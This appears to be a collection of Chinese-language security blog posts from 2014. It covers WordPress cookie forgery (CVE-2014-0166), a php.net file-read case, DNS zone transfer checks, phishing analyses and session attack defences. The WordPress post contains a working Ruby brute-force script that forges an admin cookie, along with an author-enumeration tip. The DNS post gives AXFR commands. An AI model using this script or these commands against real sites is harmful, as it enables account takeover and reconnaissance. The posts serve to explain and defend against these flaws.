還記得之前我們提到的「使用第三方套件所要擔負的資安風險」?這次的事件就是一個血淋淋的案例。不管是廠商、社群、個人開發者的粗心失誤,或者是國家機器 NSA 的強力滲透,使用各種第三方的套件都需要承擔極大的風險。但可悲的是,我們卻無法不使用。從這次的事件我們可以學到幾件事情:

  1. 不管哪種攻擊手法、多老舊的攻擊手法,在未來都可能會再度發生。
  2. 程式碼的 review 非常重要,一定要在開發過程中導入程式碼 review 機制,以免開發者寫出含有安全疑慮的程式碼。
  3. 加密、Session 控管、金鑰控管等議題,是永遠的課題。一天沒處理好,在未來的風險中會再度受害。
  4. 風險永遠會發生在你猜不到的地方,可能是程式、可能是函式庫、可能是加密協定、更可能是亂數產生器



CVE-2014-0166 WordPress 偽造 Cookie 弱點

15 April 2014 at 16:00


在一陣 OpenSSL Heartbleed 淘金潮中,又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發-CVE-2014-0166。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點,攻擊者可以暴力偽造出合法 cookie,藉此獲得 WordPress 最高權限,進而拿到 shell 取得系統操作權。



$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ( $hmac != $hash ) {
   * Fires if a bad authentication cookie hash is encountered.
   * @since 2.7.0
   * @param array $cookie_elements An array of data for the authentication cookie.
  do_action( 'auth_cookie_bad_hash', $cookie_elements );
  return false;

問題主要發生在比較運算子 != 上面,!= 運算子是 non-strict,會在比較前先做型態轉換,所以下面看似應該是回傳 true 的例子,全部都顯示為 false,細節請參閱官方手冊

var_dump(0 != "a"); // 0 != 0 -> false
var_dump("1" != "01"); // 1 != 1 -> false
var_dump("10" != "1e1"); // 10 != 10 -> false
var_dump(100 != "1e2"); // 100 != 100 -> false
var_dump( "0" != "0e10123456789012345678901234567890" ); // 0 != 0 -> false

進入正題,WordPress 認證身分用的 cookie 內容是這樣的:『username|expiration|hmac』。

username 是使用者名稱,

expiration 是有效期限(timestamp),

hmac 值用來驗證 cookie 是否合法。

從上面程式碼可以看到,hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法,就可以成功偽造成 username。

利用稍早提到的比較運算子問題,若我們讓 cookie 中的 hmac 值為 0,很有可能讓判斷式變成下面這樣:

//if ( $hmac != $hash ) {
  if ( "0" != "0e10123456789012345678901234567890" ) {
    do_action( 'auth_cookie_bad_hash', $cookie_elements );
    return false;

如此便可以通過驗證,成功偽造合法 cookie。

而為了讓 $hash == 0,可以不斷改變 cookie 中的 expiration,讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。

符合 $hash == 0 的 MD5 $hash 值有
0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)

故出現 $hash == 0 的機率為 Sum(10^n,n=0,30)/16^32 = 3.265262085617465e-09



為了驗證此方法之可行性,我們架設了 WordPress 3.8.1 環境。並且寫程式將登入 cookie 中的 hmac 設為 0,不斷調整 expiration 值測試是否已經登入,程式如下:

require 'httpclient'

http = HTTPClient.new

cookie_name = "WordPress_logged_in_de5be3cf9fcea023a1303527e10ea67a"
timestamp = Time.now.to_i

(timestamp..timestamp+800000000).each do |time|
  result = http.get('http://domain.my/WordPress/', nil, {"Cookie"=>"#{cookie_name}=admin%7C#{time}%7C0"})
  if result.body.include? 'logout'
    puts "admin%7C#{time}%7C0"

註:此程式為 POC,請自行調整為多執行緒版本,不然速度會很慢。


暴力偽造 cookie,直到成功登入

得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時,伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值: admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖,實驗成功!

利用偽造的 cookie 登入 WordPress

註:一般狀況,若不知道 WordPress 最高權限的帳號,可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。


最近出現了一個高風險通報 CVE-2014-0166,其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點,可以偽造合法 cookie,進而取得 WordPress 管理權限。本文分析了其原理,並且證實之。

對於攻擊者而言,雖然每次偽造 cookie 成功的機率約為三億分之一並不高,但發送三億個 request 後或許能拿到最高權限,已經是值得投資的級數。

對於 WordPress 管理者而言,建議立即更新至 3.8.2 以後版本,以免受到此風險攻擊。

從此事件也提醒了 PHP 開發者,在撰寫重要的驗證行為,要特別注意 PHP 比較運算子的特性,請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣,避免因為轉型造成的資安風險。

PHP 官網原始碼讀取案例

23 April 2014 at 16:00

不安全的引用物件 (Insecure Direct Object Reference) 是個非常常見的資安漏洞,在 OWASP 公布的十大網站應用程式安全漏洞 中高居第四名。通常發生在網站應用程式上沒有針對輸入的參數做好檢查,就把參數丟入 include 或 readfile 等函數當中引用,使得攻擊者可以藉此存取任意文件的原始碼。

今天這個案例就發生在 PHP 的官方網站 (http://www.php.net/),消息來源是知名的 0-Day 黑市 1337day,發佈的日期是 2014/4/4 ,原始的內容是這樣的:

1337day 漏洞交易網站

可以看到這個弱點是不公開的,想要知道內容的話要支付 82 美元相當於新台幣 3500 元呢!在強烈的好奇心屈使之下,自己打開工具來找看看:

PHP 官方網站原始碼

透過簡單的分析和一點點運氣,找到了 「http://www.php.net/cached.php」 這隻程式,發現它傳入了「t」和「f」這兩個參數。「t」直覺上就是個 rand 數值,而「f」應該就是檔案位置了。這時候對 f 參數小小修改一下,神奇的事情發生了:

cached.php 讀取原始碼

index.php 的原始碼被完整的讀出來,當然也要來看一下 cached.php 是怎麼寫的:

cached.php 檢視原始碼

可以看到此處並未對 $_GET[“f”] 進行檢查,所以修改了 $_GET[“f”] 後,與 $abs 組合完,最後就直接丟入 readfile 讀取檔案。比較值得研究的是這邊使用了 realpath 與 strncmp 來比較 f 及 DOCUMENT_ROOT,確保 $abs 只能在網站目錄之下,所以無法使用 ../../ (Path Traversal) 的方式跳脫目錄進行更進一步的滲透。

最後我們將此發現回報給 [email protected] ,得到的回應是他們是「故意的 (intentional)」。且後來也知道 PHP 官網是開放原始碼(Open Source)的,可以到 http://git.php.net/?p=web/php.git;a=tree 下載整個官網的原始碼。

PHP.NET 官網團隊回應

雖然在這個案例中並沒有造成實質上的危害,沒有帳號、密碼、系統設定等機敏資料,但若把此種寫法用在其他地方,則可能造成很大的資安風險。就連 PHP 官方網站都有這樣的失誤,身為開發人員的你們更不可不慎!

Zone Transfer CVE-1999-0532 - 古老的 DNS 資安議題

4 May 2014 at 16:00


DNS 是在 1983 年由 Paul Mockapetris 所發明,相關規範分別在 RFC 1034 以及 RFC 1035。其主要作用是用來記憶 IP 位址與英文之間的對應關係,讓人類可以用較簡單的方式記得主機名稱。目前一般民眾大多使用 ISP 或國際知名公司提供的 DNS server,如中華的 或是 Google 的 等等。

然而對於企業而言,可能需要架設大量機器或內部系統,又希望以簡單的方式記憶主機名稱,因此許多企業有自行架設 DNS server 的需求。同時企業通常也會建立幾台備援 DNS server,以避免 DNS 服務忽然中斷。但是當企業有多台 DNS server 時,就必須考量 DNS 記錄的同步問題,通常會使用 zone transfer 這個功能來同步記錄。

然而若管理者未做好相關設定,使所有來源皆可對企業的 DNS 主機進行 zone transfer 查詢,則有機會讓此功能成為企業遭受攻擊的起點。用現實生活情境舉例的話,對外開放 zone transfer 就如同所有人都可以任意查詢你名下的所有房地產位在何處,假如有人要針對性的攻擊你,隨時都可以去看你某個房地產有沒有哪扇門窗沒關好,伺機入侵你的家園。一般我們對企業資訊系統進行滲透測試時,在資訊搜集的階段也會先從 domain name 下手,因此 DNS 相關資料的重要性可見一斑。

Zone transfer 的資安議題早在 1999 年就已有人提出,理應成為各企業進行資安稽核的步驟之一。然而十五年過去了,在近期我們卻發現許多國內大企業仍有此問題,令人非常驚訝!究竟企業該如何檢測自身是否存在這種安全漏洞?此問題目前在台灣網路環境佔有多大的比例?Zone transfer 會對企業造成什麼影響?讓我們繼續看下去~

Zone Transfer 檢測方式

首先需感謝 DigiNinja 提供了一個讓大家自由測試的 zonetransfer.me 網域,以下我們分別在 Linux 及 Windows 環境下進行檢測。


在 Linux 環境內,我們可利用 dig 指令查詢目標 domain 使用哪些 name server:

dig +nostats +nocomments +nocmd NS zonetransfer.me

Name server 查詢結果:

;zonetransfer.me.		IN	NS
zonetransfer.me.	7118	IN	NS	ns12.zoneedit.com.
zonetransfer.me.	7118	IN	NS	ns16.zoneedit.com.

從結果可得知有 ns12.zoneedit.com 或 ns16.zoneedit.com 這兩個 DNS server,接著我們即可測試是否可從外部網路對這兩個 DNS server 進行 zone transfer,測試方式如下:

dig axfr zonetransfer.me @ns12.zoneedit.com

Zone transfer 測試結果:

使用 dig 測試網域是否存在 zone transfer 漏洞

從上面的測試結果中我們可發現,zonetransfer.me 這個網域的所有 DNS 設定已全部被列出。


若是在 Windows 環境,可在命令提示字元環境內使用 nslookup 指令查詢目標 domain 使用哪些 name server:

nslookup -type=ns zonetransfer.me

Name server 查詢結果:


Non-authoritative answer:
zonetransfer.me	nameserver = ns12.zoneedit.com.
zonetransfer.me	nameserver = ns16.zoneedit.com.

Authoritative answers can be found from:

輸入指令後我們如同先前使用 dig 一樣,得知目標有 ns12.zoneedit.com 與 ns16.zoneedit.com 這兩個 name server,接著再如下圖依序輸入三道指令查詢:


server ns12.zoneedit.com

ls -d zonetransfer.me

註:Linux 版的 nslookup 沒有實作 ls 這個功能喔!

Zone transfer 測試結果:

使用 nslookup 測試網域是否存在 zone transfer 漏洞

測試結果與 Linux 環境所得到的資料雷同,可成功列出該網域的所有 DNS 設定。

Online Service



如同上次 HTTP Headers 資安議題所探討的對象,我們從 TIEA 成員以及 Alexa TW top 525 觀察 zone transfer 問題分別在這些族群中佔有多少比例。

根據我們監測的結果,在目前 TIEA 的 132 名成員中,有 20 個網域存在 zone transfer 問題,佔了 15.15%。而在 Alexa TW top 525 當中,有 48 個網域存在 zone transfer 問題,佔了 9.14%。乍看之下比率似乎不高,但是在上述兩個族群的網域當中,包括:

  • 電信商
  • 多家電視媒體
  • 多家網路新聞媒體
  • 多家線上購物網站
  • 知名團購網站
  • 知名金流公司
  • 知名線上音樂服務

台灣企業不夠注重資訊安全,罔顧客戶資料安全性,早已不是新聞。然而若企業不顧自身商業利益與責任,當彼此無商業往來時,我們也無法一一咎責。但若連台北市政府、教育部、多間大專院校都有此問題,就令人不太能接受了,這些政府單位與教育機構理當為我們的個人資料安全性負起全部的責任,不應該漏掉任何一個資安環節。上述結果顯示出台灣從政府到企業可能都沒有徹底落實 DNS 的資安設定,而且目前的數據僅僅是針對 TIEA 成員以及 Alexa TW top 525 進行檢測,若是對全台灣或是全世界進行大範圍的檢測,恐怕會發現更多驚人的案例!


  • 洩漏網域名稱

    一般企業在進行滲透測試時,通常只會挑幾個最重要、最常面對客戶的網域進行測試,但是入侵者可不會這麼乖。當有人嘗試要入侵企業時,必定是先進行全面的偵查,觀察企業哪幾個網域所執行的 service 有潛在的弱點,或是看哪幾個網域防禦力道較弱,再從該處下手。因此 zone transfer 問題所提供的完整 DNS 記錄,就為入侵者省下了許多偵查的工夫。

  • 洩漏外網 IP 範圍

    當攻擊者取得 zone transfer 所洩漏的資料後,可合理推斷哪些網段是屬於該企業,進一步對該網段進行掃描,嘗試找尋有機會入侵之標的物。

  • 洩漏內網 IP 範圍

    有些管理人員、開發者為求內部開發方便,經常會將網域名稱跟內網 IP 位址綁在一起,例如將 phpmyadmin.example.com 設定為,攻擊者就可根據此類資訊猜測內網哪些網段存在重要服務。這種設定平常也許不會造成重大損害,但是當管理者疏於建立內網防禦機制,恰好企業又被入侵至內網時,造成一連串重大損失的機率將會大幅提高。



若使用 Linux,可在 /etc/named.conf 內加入下列選項,以限制可存取 zone transfer 的來源:

options {
    allow-transfer {;;

設定完畢後,將 DNS 服務重啟即可生效。


在 Windows server 當中,我們可到伺服器管理員修改網域的相關設定,如下圖:

於伺服器管理員修改網域的 zone transfer 設定

在伺服器管理員中,選定想要修改的網域(此處以 test.com 為例),按右鍵點選內容,將會跳出選單如下圖:

修改 test.com 的 zone transfer 設定


  • 只到列在「名稱伺服器索」引標簽上的伺服器
  • 只到下列伺服器

TCP 53 port

DNS 在做 zone transfer 時是使用 TCP 53 port(有別於一般 DNS query 的 UDP 53 port),因此有些人會認為將 TCP 53 port 關閉就可以對付 zone transfer,而不想修改 zone transfer 的設定。其實這個觀念只對了一半,若 zone file 的資料小於 512 byte,仍然可以透過 UDP 傳輸。即使 zone file 的資料大於 512 byte,也可以用 Incremental Zone Transfer (IXFR) 的方式取得部分資料


如果企業今天非常有自信能夠替所有網域都準備好完善的安全措施,那麼 zone transfer 所洩漏的資料對該企業就不會有太嚴重的影響。然而,在現今這個入侵手法日新月異的世界裡,又有誰能夠永遠保證自己的安全防護已經做足了呢?在前陣子火紅的 OpenSSL CVE-2014-0160 Heartbleed 問題被爆出來之後,我們就藉由許多 zone transfer 的記錄觀察到全世界有非常多企業只修復了主要網站的 OpenSSL 漏洞,卻忽略了企業內其他的服務與設備可能也有此漏洞,像是 DB、Email、VPN、NAS 等等,直到今日仍遲遲未修復。



6 May 2014 at 16:00








看了真是非常的義憤填膺!馬上就想投下神聖的一票!但是忽然聽到周公指示說網站底下有奇怪的目錄,照著神諭一試,發現有 .svn 目錄跟 entries 檔!

.svn 目錄

這時候三太子哪吒剛好路過,說他剛剛在 Pastebin 看到有人貼了一篇跟這個網站好像有關聯的內容,講完他就開著水車跑去鎮壓龍宮了。點開那篇內容一看,內容有一些很奇怪的網址,讓人看了就很想點!隨便選了一個 http://vote.tw.am/2N9E6V4E5R4BABC0647469FF213F2D94A27FA/chose_vote.include.php 打開來看:







從這些內容看來,應該是有個集團擁有大量的民眾個資,並且一一發送訊息給這些人,背後目的尚不得而知。有可能是大陸人想利用這個熱潮確認這些電話號碼是否真實、可用,也有可能是不知名的黑手正在策劃下一個打壓動作?正當我們想搞清楚對方究竟是透過電話號碼還是信箱傳送 iMessage 時,哪吒忽然又路過了,丟了這張圖之後叫我們不要再瞎忙了趕快回家洗洗睡:






  • 不要隨意點擊來路不明的簡訊內容
  • 在網路上填寫任何內容之前先查證該網站是否可疑
  • 對於 [email protected] 這種可疑帳號所傳來的任何資料,請保持高度警戒
  • 對於 vote.tw.am 這種看起來疑似要偽裝成 .tw 網域的站台,也請保持高度警戒


LINE 免費貼圖釣魚訊息分析

11 May 2014 at 16:00

晚上突然接到社群朋友傳 LINE 的訊息過來,定睛一看並不單純。這網址看起來就是釣魚網站啊?怎麼會這樣呢?難道是朋友在測試我們的警覺心夠不夠嗎?讓我們看下去這個釣魚網頁怎麼玩。

LINE 傳送贈送貼圖訊息釣魚

此 LINE 釣魚訊息說只要幫忙轉發 15 次訊息,就會贈送貼圖。先不論 LINE 有沒有這樣的機制,我們先直接點選連結看看葫蘆裡賣什麼藥。

LINE 釣魚假貼圖網頁

瀏覽器打開之後,跳出了領取貼圖的「網頁」,而且還有詭異的紅字。各種跡象都跟一般領取貼圖的模式不同,太令人起疑了。點了圖就會跳到 Facebook 登入頁面。

假 Facebook 登入頁面騙取帳號密碼

明眼人看到這個 Facebook 登入頁面就會發現太假了,破綻多多。Logo、網址、網頁格式破板、簡體字,太多令人懷疑的地方了。在這邊我們只要隨便輸入帳號跟密碼,就能到下個畫面。

假 Facebook 登入完成頁面



事後友人直接說 LINE 帳號被盜用發訊息了,而且密碼可能過於簡單、也沒有設定換機密碼。因此在這邊呼籲大家做好 LINE 的安全設定:

  1. 加強密碼長度、複雜度
  2. 設定「換機密碼」
  3. 若只在手機使用 LINE,可將「允許自其他裝置登入」關閉
  4. 如果有帳號被盜狀況,趕快聯絡 LINE https://line.naver.jp/cs/


HTTP Session 攻擊與防護

2 June 2014 at 16:00


大家還記得四月份的 OpenSSL Heartbleed 事件嗎?當時除了網站本身以外,受害最嚴重的就屬 VPN Server 了。國內外不少駭客不眠不休利用 Heartbleed 漏洞竊取 VPN Server 的管理者 Session Cookie,運氣好的話就可以直接登入大企業的內網。

但是,其實這樣的風險是可以避免的,今天我們以開發者的角度來談談 Session 的攻擊與防護。

什麼是 Session?什麼是 Cookie?

在談 Session 之前,我們要先瞭解 Cookie。你知道網站是如何辨識我們的身份嗎?為什麼我們輸入完帳號密碼之後,網站就知道我們是誰呢?就是利用 Cookie。Cookie 是網站在瀏覽器中存放的資料,內容包括使用者在網站上的偏好設定、或者是登入的 Session ID。網站利用 Session ID 來辨認訪客的身份。

Cookie 既然存放在 Client 端,那就有被竊取的風險。例如透過 Cross-Site Scripting(跨站腳本攻擊,又稱 XSS),攻擊者可以輕易竊取受害者的 Cookie。如果 Cookie 被偷走了,你的身份就被竊取了。

我們可以用一個譬喻來表示:你加入了一個秘密俱樂部,填寫完會員資料後,得到了一張會員卡。之後只要憑這張會員卡,就可以進入這個俱樂部。但是隔天,你的會員卡掉了。撿走你會員卡的人,就可以用你的會員卡進入這個秘密俱樂部,因為會員卡上沒有你的照片或是其他足以辨識身分的資訊。這就像是一個會員網站,我們申請了一個帳號(填寫會員資料加入俱樂部),輸入帳號密碼登入之後,得到一組 Cookie,其中有 Session ID 來辨識你的身分(透過會員卡來辨識身分)。今天如果 Cookie 被偷走了(會員卡被撿走了),別人就可以用你的帳號來登入網站(別人用你的會員卡進入俱樂部)。

Session 攻擊手法有三種:

  1. 猜測 Session ID (Session Prediction)
  2. 竊取 Session ID (Session Hijacking)
  3. 固定 Session ID (Session Fixation)


Session Prediction (猜測 Session ID)

Session ID 如同我們前面所說的,就如同是會員卡的編號。只要知道 Session ID,就可以成為這個使用者。如果 Session ID 的長度、複雜度、雜亂度不夠,就能夠被攻擊者猜測。攻擊者只要寫程式不斷暴力計算 Session ID,就有機會得到有效的 Session ID 而竊取使用者帳號。

分析 Session ID 的工具可以用以下幾種

  1. OWASP WebScarab
  2. Stompy
  3. Burp Suite

觀察 Session ID 的亂數分布,可以了解是否能夠推出規律、猜測有效的 Session ID。

分析 Session ID

Ref: http://programming4.us/security/3950.aspx


使用 Session ID 分析程式進行分析,評估是否無法被預測。如果沒有 100% 的把握自己撰寫的 Session ID 產生機制是安全的,不妨使用內建的 Session ID 產生 function,通常都有一定程度的安全。

Session Hijacking (竊取 Session ID)

竊取 Session ID 是最常見的攻擊手法。攻擊者可以利用多種方式竊取 Cookie 獲取 Session ID:

  1. 跨站腳本攻擊 (Cross-Site Scripting (XSS)):利用 XSS 漏洞竊取使用者 Cookie
  2. 網路竊聽:使用 ARP Spoofing 等手法竊聽網路封包獲取 Cookie
  3. 透過 Referer 取得:若網站允許 Session ID 使用 URL 傳遞,便可能從 Referer 取得 Session ID


受害者已經登入網站伺服器,並且取得 Session ID,在連線過程中攻擊者用竊聽的方式獲取受害者 Session ID。

竊取 Session ID

攻擊者直接使用竊取到的 Session ID 送至伺服器,偽造受害者身分。若伺服器沒有檢查 Session ID 的使用者身分,則可以讓攻擊者得逞。

偽造 Session ID


  • 禁止將 Session ID 使用 URL (GET) 方式來傳遞
  • 設定加強安全性的 Cookie 屬性:HttpOnly (無法被 JavaScript 存取)
  • 設定加強安全性的 Cookie 屬性:Secure (只在 HTTPS 傳遞,若網站無 HTTPS 請勿設定)
  • 在需要權限的頁面請使用者重新輸入密碼

Session Fixation (固定 Session ID)

攻擊者誘使受害者使用特定的 Session ID 登入網站,而攻擊者就能取得受害者的身分。

  1. 攻擊者從網站取得有效 Session ID
  2. 使用社交工程等手法誘使受害者點選連結,使用該 Session ID 登入網站
  3. 受害者輸入帳號密碼成功登入網站
  4. 攻擊者使用該 Session ID,操作受害者的帳號

Session Fixation


  • 在使用者登入成功後,立即更換 Session ID,防止攻擊者操控 Session ID 給予受害者。
  • 禁止將 Session ID 使用 URL (GET) 方式來傳遞

Session 防護

那要怎麼防範攻擊呢?當然會有人說,會員卡不要掉不就沒事了嗎?當然我們沒辦法確保用戶不會因為各種方式導致 Cookie 遭竊(XSS、惡意程式等),因此最後一道防線就是網站的 Session 保護。一張會員卡上如果沒有任何可識別的個人資料,當然任何人撿去了都可以用。如果上面有照片跟簽名呢?偷走會員卡的人在進入俱樂部的時候,在門口就會因為照片跟本人不符而被擋下來。Session 保護也是一樣,怎麼讓我們的 Session 保護機制也能辨識身分呢?答案是利用每個使用者特有的識別資訊。


  1. 來源 IP 位址
  2. 瀏覽器 User-Agent

如果在同一個 Session 中,使用者的 IP 或者 User-Agent 改變了,最安全的作法就是把這個 Session 清除,請使用者重新登入。雖然使用者可能因為 IP 更換、Proxy 等因素導致被強制登出,但為了安全性,便利性必須要與之取捨。以 PHP 為例,我們可以這樣撰寫:


除了檢查個人識別資訊來確認是否盜用之外,也可以增加前述的 Session ID 的防護方式:

  1. Cookie 設定 Secure Flag (HTTPS)
  2. Cookie 設定 HTTP Only Flag
  3. 成功登入後立即變更 Session ID

Session 的清除機制也非常重要。當伺服器偵測到可疑的使用者 Session 行為時,例如攻擊者惡意嘗試偽造 Session ID、使用者 Session 可能遭竊、或者逾時等情況,都應該立刻清除該 Session ID 以免被攻擊者利用。

Session 清除機制時機:

  1. 偵測到惡意嘗試 Session ID
  2. 識別資訊無效時
  3. 逾時


使用者帳號遭竊一直以來都是顯著的問題,但卻鮮少有網站針對 Session 的機制進行保護。攻擊者可以輕鬆使用 firesheep 之類的工具竊取帳號。國外已經有不少網站偵測到 Session 可能遭竊時將帳號強制登出,但國內目前還鮮少網站實作此防禦,設備商的 Web 管理介面更少針對 Session 進行保護。如果 VPN Server 等設備有偵測 Session ID 的偽造,在 OpenSSL Heartbleed 事件時就不會有那麼慘重的損失了。

立刻把自己的網站加上 Session 保護機制吧!